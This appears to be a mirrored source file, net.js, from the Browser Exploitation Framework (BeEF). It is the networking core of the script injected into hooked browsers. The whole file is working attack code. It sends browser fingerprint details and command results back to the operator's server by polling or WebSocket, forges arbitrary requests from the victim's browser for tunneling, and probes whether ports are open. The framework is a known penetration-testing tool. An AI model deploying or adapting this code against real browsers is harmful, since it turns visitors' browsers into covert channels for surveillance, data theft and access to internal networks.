Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/net.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Provides basic networking functions,
9
* like beef.net.request and beef.net.forgeRequest,
10
* used by BeEF command modules and the Requester extension,
11
* as well as beef.net.send which is used to return commands
12
* to BeEF server-side components.
13
*
14
* Also, it contains the core methods used by the XHR-polling
15
* mechanism (flush, queue)
16
* @namespace beef.net
17
*
18
*/
19
beef.net = {
20
21
host: "<%= @beef_host %>",
22
port: "<%= @beef_port %>",
23
hook: "<%= @beef_hook %>",
24
httpproto: "<%= @beef_proto %>",
25
handler: '/dh',
26
chop: 500,
27
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
28
sid_count: 0,
29
cmd_queue: [],
30
31
/**
32
* Command object. This represents the data to be sent back to BeEF,
33
* using the beef.net.send() method.
34
*/
35
command: function () {
36
this.cid = null;
37
this.results = null;
38
this.status = null;
39
this.handler = null;
40
this.callback = null;
41
},
42
43
/**
44
* Packet object. A single chunk of data. X packets -> 1 stream
45
*/
46
packet: function () {
47
this.id = null;
48
this.data = null;
49
},
50
51
/**
52
* Stream object. Contains X packets, which are command result chunks.
53
*/
54
stream: function () {
55
this.id = null;
56
this.packets = [];
57
this.pc = 0;
58
this.get_base_url_length = function () {
59
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
60
};
61
this.get_packet_data = function () {
62
var p = this.packets.shift();
63
return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
64
};
65
},
66
67
/**
68
* Response Object - used in the beef.net.request callback
69
* NOTE: as we are using async mode, the response object will be empty if returned.
70
* Using sync mode, request obj fields will be populated.
71
*/
72
response: function () {
73
this.status_code = null; // 500, 404, 200, 302
74
this.status_text = null; // success, timeout, error, ...
75
this.response_body = null; // "<html>…." if not a cross-origin request
76
this.port_status = null; // tcp port is open, closed or not http
77
this.was_cross_origin = null; // true or false
78
this.was_timedout = null; // the user specified timeout was reached
79
this.duration = null; // how long it took for the request to complete
80
this.headers = null; // full response headers
81
},
82
83
/**
84
* Queues the specified command results.
85
* @param {String} handler the server-side handler that will be called
86
* @param {Integer} cid command id
87
* @param {String} results the data to send
88
* @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
89
* @param {Function} callback the function to call after execution
90
*/
91
queue: function (handler, cid, results, status, callback) {
92
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
93
var s = new beef.net.command();
94
s.cid = cid;
95
s.results = beef.net.clean(results);
96
s.status = status;
97
s.callback = callback;
98
s.handler = handler;
99
this.cmd_queue.push(s);
100
}
101
},
102
103
/**
104
* Queues the current command results and flushes the queue straight away.
105
* NOTE: Always send Browser Fingerprinting results
106
* (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
107
* even if WebSockets are enabled.
108
* @param {String} handler the server-side handler that will be called
109
* @param {Integer} cid command id
110
* @param {String} results the data to send
111
* @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
112
* @param {Function} callback the function to call after execution
113
* @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
114
*/
115
send: function (handler, cid, results, exec_status, callback) {
116
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
117
var status = 0;
118
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
119
120
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
121
this.queue(handler, cid, results, status, callback);
122
this.flush();
123
} else {
124
try {
125
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
126
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
127
'", "status": "' + exec_status +
128
'", "callback": "' + callback +
129
'","bh":"' + beef.session.get_hook_session_id() + '" }');
130
} catch (e) {
131
this.queue(handler, cid, results, status, callback);
132
this.flush();
133
}
134
}
135
136
return status;
137
},
138
139
/**
140
* Flush all currently queued command results to the framework,
141
* chopping the data in chunks ('chunk' method) which will be re-assembled
142
* server-side by the network stack.
143
* NOTE: currently 'flush' is used only with the default
144
* XHR-polling mechanism. If WebSockets are used, the data is sent
145
* back to BeEF straight away.
146
*/
147
flush: function (callback) {
148
if (this.cmd_queue.length > 0) {
149
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
150
this.cmd_queue.length = 0;
151
this.sid_count++;
152
var stream = new this.stream();
153
stream.id = this.sid_count;
154
var pad = stream.get_base_url_length() + this.pad;
155
//cant continue if chop amount is too low
156
if ((this.chop - pad) > 0) {
157
var data = this.chunk(data, (this.chop - pad));
158
for (var i = 1; i <= data.length; i++) {
159
var packet = new this.packet();
160
packet.id = i;
161
packet.data = data[(i - 1)];
162
stream.packets.push(packet);
163
}
164
stream.pc = stream.packets.length;
165
this.push(stream, callback);
166
}
167
} else {
168
if ((typeof callback != 'undefined') && (callback != null)) {
169
callback();
170
}
171
}
172
},
173
174
/**
175
* Split the input data into chunk lengths determined by the amount parameter.
176
* @param {String} str the input data
177
* @param {Integer} amount chunk length
178
*/
179
chunk: function (str, amount) {
180
if (typeof amount == 'undefined') n = 2;
181
return str.match(RegExp('.{1,' + amount + '}', 'g'));
182
},
183
184
/**
185
* Push the input stream back to the BeEF server-side components.
186
* It uses beef.net.request to send back the data.
187
* @param {Object} stream the stream object to be sent back.
188
*/
189
push: function (stream, callback) {
190
//need to implement wait feature here eventually
191
if (typeof callback === 'undefined') {
192
callback = null;
193
}
194
for (var i = 0; i < stream.pc; i++) {
195
var cb = null;
196
if (i == (stream.pc - 1)) {
197
cb = callback;
198
}
199
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
200
stream.get_packet_data(), 10, 'text', cb);
201
}
202
},
203
204
/**
205
* Performs http requests
206
* @param {String} scheme HTTP or HTTPS
207
* @param {String} method GET or POST
208
* @param {String} domain bindshell.net, 192.168.3.4, etc
209
* @param {Int} port 80, 5900, etc
210
* @param {String} path /path/to/resource
211
* @param {String} anchor this is the value that comes after the # in the URL
212
* @param {String} data This will be used as the query string for a GET or post data for a POST
213
* @param {Int} timeout timeout the request after N seconds
214
* @param {String} dataType specify the data return type expected (ie text/html/script)
215
* @param {Function} callback call the callback function at the completion of the method
216
*
217
* @return {Object} this object contains the response details
218
*/
219
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
220
//check if same origin or cross origin
221
var cross_origin = true;
222
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
223
if (document.location.port == "" || document.location.port == null) {
224
cross_origin = !(port == "80" || port == "443");
225
}
226
}
227
228
//build the url
229
var url = "";
230
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
231
url = path;
232
} else {
233
url = scheme + "://" + domain;
234
url = (port != null) ? url + ":" + port : url;
235
url = (path != null) ? url + path : url;
236
url = (anchor != null) ? url + "#" + anchor : url;
237
}
238
239
//define response object
240
var response = new this.response;
241
response.was_cross_origin = cross_origin;
242
var start_time = new Date().getTime();
243
244
/*
245
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
246
* This will turn POSTs into GETs for cross origin requests.
247
*/
248
if (method == "POST") {
249
$j.ajaxSetup({
250
dataType: dataType
251
});
252
} else {
253
$j.ajaxSetup({
254
dataType: 'script'
255
});
256
}
257
258
//build and execute the request
259
$j.ajax({type: method,
260
url: url,
261
data: data,
262
timeout: (timeout * 1000),
263
264
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
265
beforeSend: function (xhr) {
266
if (method == "POST") {
267
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
268
}
269
},
270
success: function (data, textStatus, xhr) {
271
var end_time = new Date().getTime();
272
response.status_code = xhr.status;
273
response.status_text = textStatus;
274
response.response_body = data;
275
response.port_status = "open";
276
response.was_timedout = false;
277
response.duration = (end_time - start_time);
278
},
279
error: function (jqXHR, textStatus, errorThrown) {
280
var end_time = new Date().getTime();
281
response.response_body = jqXHR.responseText;
282
response.status_code = jqXHR.status;
283
response.status_text = textStatus;
284
response.duration = (end_time - start_time);
285
response.port_status = "open";
286
},
287
complete: function (jqXHR, textStatus) {
288
response.status_code = jqXHR.status;
289
response.status_text = textStatus;
290
response.headers = jqXHR.getAllResponseHeaders();
291
// determine if TCP port is open/closed/not-http
292
if (textStatus == "timeout") {
293
response.was_timedout = true;
294
response.response_body = "ERROR: Timed out\n";
295
response.port_status = "closed";
296
} else if (textStatus == "parsererror") {
297
response.port_status = "not-http";
298
} else {
299
response.port_status = "open";
300
}
301
}
302
}).always(function () {
303
if (callback != null) {
304
callback(response);
305
}
306
});
307
return response;
308
},
309
310
/**
311
* Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
312
* - requestid: needed on the callback
313
* - allowCrossOrigin: set cross-origin requests as allowed or blocked
314
*
315
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
316
* Example usage:
317
* beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
318
* true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
319
* alert(response.response_body)})
320
*/
321
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {
322
323
if (domain == "undefined" || path == "undefined") {
324
beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
325
return;
326
}
327
328
// check if same origin or cross origin
329
var cross_origin = true;
330
if (document.domain == domain && document.location.protocol == scheme + ':') {
331
if (document.location.port == "" || document.location.port == null) {
332
cross_origin = !(port == "80" || port == "443");
333
} else {
334
if (document.location.port == port) cross_origin = false;
335
}
336
}
337
338
// build the url
339
var url = "";
340
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
341
url = path;
342
} else {
343
url = scheme + "://" + domain;
344
url = (port != null) ? url + ":" + port : url;
345
url = (path != null) ? url + path : url;
346
url = (anchor != null) ? url + "#" + anchor : url;
347
}
348
349
// define response object
350
var response = new this.response;
351
response.was_cross_origin = cross_origin;
352
var start_time = new Date().getTime();
353
354
// if cross-origin requests are not allowed and the request is cross-origin
355
// don't proceed and return
356
if (allowCrossOrigin == "false" && cross_origin) {
357
beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
358
response.status_code = -1;
359
response.status_text = "crossorigin";
360
response.port_status = "crossorigin";
361
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
362
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
363
if (callback != null) callback(response, requestid);
364
return response;
365
}
366
367
// if the request was cross-origin from a HTTPS origin to HTTP
368
// don't proceed and return
369
if (document.location.protocol == 'https:' && scheme == 'http') {
370
beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
371
response.status_code = -1;
372
response.status_text = "mixedcontent";
373
response.port_status = "mixedcontent";
374
response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
375
response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
376
if (callback != null) callback(response, requestid);
377
return response;
378
}
379
380
/*
381
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
382
* This will turn POSTs into GETs for cross origin requests.
383
*/
384
if (method == "POST") {
385
$j.ajaxSetup({
386
dataType: dataType
387
});
388
} else {
389
$j.ajaxSetup({
390
dataType: 'script'
391
});
392
}
393
394
// this is required for bugs in IE so data can be transferred back to the server
395
if (beef.browser.isIE()) {
396
dataType = 'script'
397
}
398
399
$j.ajax({type: method,
400
dataType: dataType,
401
url: url,
402
headers: headers,
403
timeout: (timeout * 1000),
404
405
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
406
beforeSend: function (xhr) {
407
if (method == "POST") {
408
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
409
}
410
},
411
412
data: data,
413
414
// http server responded successfully
415
success: function (data, textStatus, xhr) {
416
var end_time = new Date().getTime();
417
response.status_code = xhr.status;
418
response.status_text = textStatus;
419
response.response_body = data;
420
response.was_timedout = false;
421
response.duration = (end_time - start_time);
422
},
423
424
// server responded with a http error (403, 404, 500, etc)
425
// or server is not a http server
426
error: function (xhr, textStatus, errorThrown) {
427
var end_time = new Date().getTime();
428
response.response_body = xhr.responseText;
429
response.status_code = xhr.status;
430
response.status_text = textStatus;
431
response.duration = (end_time - start_time);
432
},
433
434
complete: function (xhr, textStatus) {
435
// cross-origin request
436
if (cross_origin) {
437
438
response.port_status = "crossorigin";
439
440
if (xhr.status != 0) {
441
response.status_code = xhr.status;
442
} else {
443
response.status_code = -1;
444
}
445
446
if (textStatus) {
447
response.status_text = textStatus;
448
} else {
449
response.status_text = "crossorigin";
450
}
451
452
if (xhr.getAllResponseHeaders()) {
453
response.headers = xhr.getAllResponseHeaders();
454
} else {
455
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
456
}
457
458
if (!response.response_body) {
459
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
460
}
461
462
} else {
463
// same-origin request
464
response.status_code = xhr.status;
465
response.status_text = textStatus;
466
response.headers = xhr.getAllResponseHeaders();
467
468
// determine if TCP port is open/closed/not-http
469
if (textStatus == "timeout") {
470
response.was_timedout = true;
471
response.response_body = "ERROR: Timed out\n";
472
response.port_status = "closed";
473
/*
474
* With IE we need to explicitly set the dataType to "script",
475
* so there will be always parse-errors if the content is != javascript
476
* */
477
} else if (textStatus == "parsererror") {
478
response.port_status = "not-http";
479
if (beef.browser.isIE()) {
480
response.status_text = "success";
481
response.port_status = "open";
482
}
483
} else {
484
response.port_status = "open";
485
}
486
}
487
callback(response, requestid);
488
}
489
});
490
return response;
491
},
492
493
/** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
494
* http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
495
*/
496
clean: function (r) {
497
if (this.array_has_string_key(r)) {
498
var obj = {};
499
for (var key in r)
500
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
501
return obj;
502
}
503
return r;
504
},
505
506
/** Detects if an array has a string key */
507
array_has_string_key: function (arr) {
508
if ($j.isArray(arr)) {
509
try {
510
for (var key in arr)
511
if (isNaN(parseInt(key))) return true;
512
} catch (e) {
513
}
514
}
515
return false;
516
},
517
518
/**
519
* Checks if the specified port is valid
520
*/
521
is_valid_port: function (port) {
522
if (isNaN(port)) return false;
523
if (port > 65535 || port < 0) return false;
524
return true;
525
},
526
527
/**
528
* Checks if the specified IP address is valid
529
*/
530
is_valid_ip: function (ip) {
531
if (ip == null) return false;
532
var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
533
if (ip_match == null) return false;
534
return true;
535
},
536
537
/**
538
* Checks if the specified IP address range is valid
539
*/
540
is_valid_ip_range: function (ip_range) {
541
if (ip_range == null) return false;
542
var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
543
if (range_match == null || range_match[1] == null) return false;
544
return true;
545
},
546
547
/**
548
* Sends back browser details to framework, calling beef.browser.getDetails()
549
*/
550
browser_details: function () {
551
var details = beef.browser.getDetails();
552
var res = null;
553
details['HookSessionID'] = beef.session.get_hook_session_id();
554
this.send('/init', 0, details);
555
if(details != null)
556
res = true;
557
558
return res;
559
}
560
561
};
562
563
564
beef.regCmp('beef.net');
565
566